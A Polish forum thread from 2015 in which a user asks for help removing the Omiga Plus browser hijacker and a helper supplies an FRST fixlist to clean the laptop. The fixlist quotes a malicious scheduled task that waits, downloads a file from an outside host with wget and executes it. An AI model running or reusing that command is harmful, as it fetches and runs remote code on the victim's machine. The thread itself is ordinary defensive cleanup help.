Omiga Plus

Zaker92 · 17 Styczeń 2015 12:49

Prosze o pomoc w usunieciu tego wirusa.

AdwCleanera juz uzylem. Logi:

Addition: http://www.wklej.org/id/1598315/

Dodam jeszcze ,ze kolejnym problemem jest to ,ze czasem przegladarka (chrome) sama sie wyłącza, albo po wpisaniu jakiegos adresu lub otworzeniu strony za kazdym razem pojawia sie napiss “Strona internetowa jest niedostepna” dopiero jak wcisnę odśwież to sie prawidłowo wczytuje. Tak samo problemy sa przy grach, gdy probuja sie polaczyc z internetem w celu wczytania jakis danych. Nigdy nie udaje sie to za pierwszym razem. Przy probie zainstalowania jakigokolwiek programu pojawia sie napis “Obecnie nie mozna uzyskac dostepu do filtru Windows” i musze klikac “uruchom mimo to” Jak temu zaradzic ?

Laptop Lenovo Z50 nabyty 2 dni temu…

Acorus · 17 Styczeń 2015 13:50

Otwórz notatnik systemowy i wklej:

Task: {5FC5AFDA-E784-4C86-80EC-2B8F7F2456B0} - System32\Tasks\SYSTEM = cmd.exe /R cd "C:\ProgramData" amp; ping 1.1.1.1 -n 300 -w 1000 amp; wget -t 0 --retry-connrefused -O dat.bmp http://blockchainin.in/dat.bmp?data=MSnXonL9wjtpICsFqzuq;DrivGen;1421512819 amp; start cmd /R dat.bmp ==== ATTENTION
HKLM-x32\...\Run: [SunJavaUpdateSched] = C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe [507776 2014-10-07] (Oracle Corporation)
Winlogon\Notify\igfxcui: igfxdev.dll [X]
SearchScopes: HKU\.DEFAULT - DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL =
SearchScopes: HKU\S-1-5-19 - DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL =
SearchScopes: HKU\S-1-5-20 - DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL =
CHR HomePage: Default - hxxp://search.babylon.com/?affID=113480babsrc=HP_ssmntrId=0c141011000000000000001966c29752
CHR StartupUrls: Default - "hxxp://isearch.omiga-plus.com/?type=hpts=1421514717from=coruid=ST1000LM014-SSHD-8GB_W770BAPJXXXXW770BAPJ", "hxxp://isearch.omiga-plus.com/?type=hpppts=1421514766from=coruid=ST1000LM014-SSHD-8GB_W770BAPJXXXXW770BAPJ"
CHR Extension: (Tiësto) - C:\Users\me\AppData\Local\Google\Chrome\User Data\Default\Extensions\mnmeobddjkkgkglnogihcaejaleikhdh [2015-01-16]
S3 cpuz136; \\C:\Users\me\AppData\Local\Temp\cpuz136\cpuz136_x64.sys [X]
2015-01-18 01:01 - 2015-01-18 01:06 - 00000000 ____ D () C:\AdwCleaner
C:\ProgramData\wget.exe
EmptyTemp:

Plik zapisz pod nazwą fixlist.txt i umieść obok FRST w tym samym folderze.

Zaker92 · 17 Styczeń 2015 14:42

Wklejam tam gdzie powinienem ,ale za każdym razem pojawia się napis " No fixlist.txt found. The Fixlist.txt should be in the same folder/directory the tool is located"

A porzeciez wkleiłem to do folderu FRST…

Acorus · 17 Styczeń 2015 15:05

Masz wkleić tam gdzie jest FRST czyli C:\Users\me\Downloads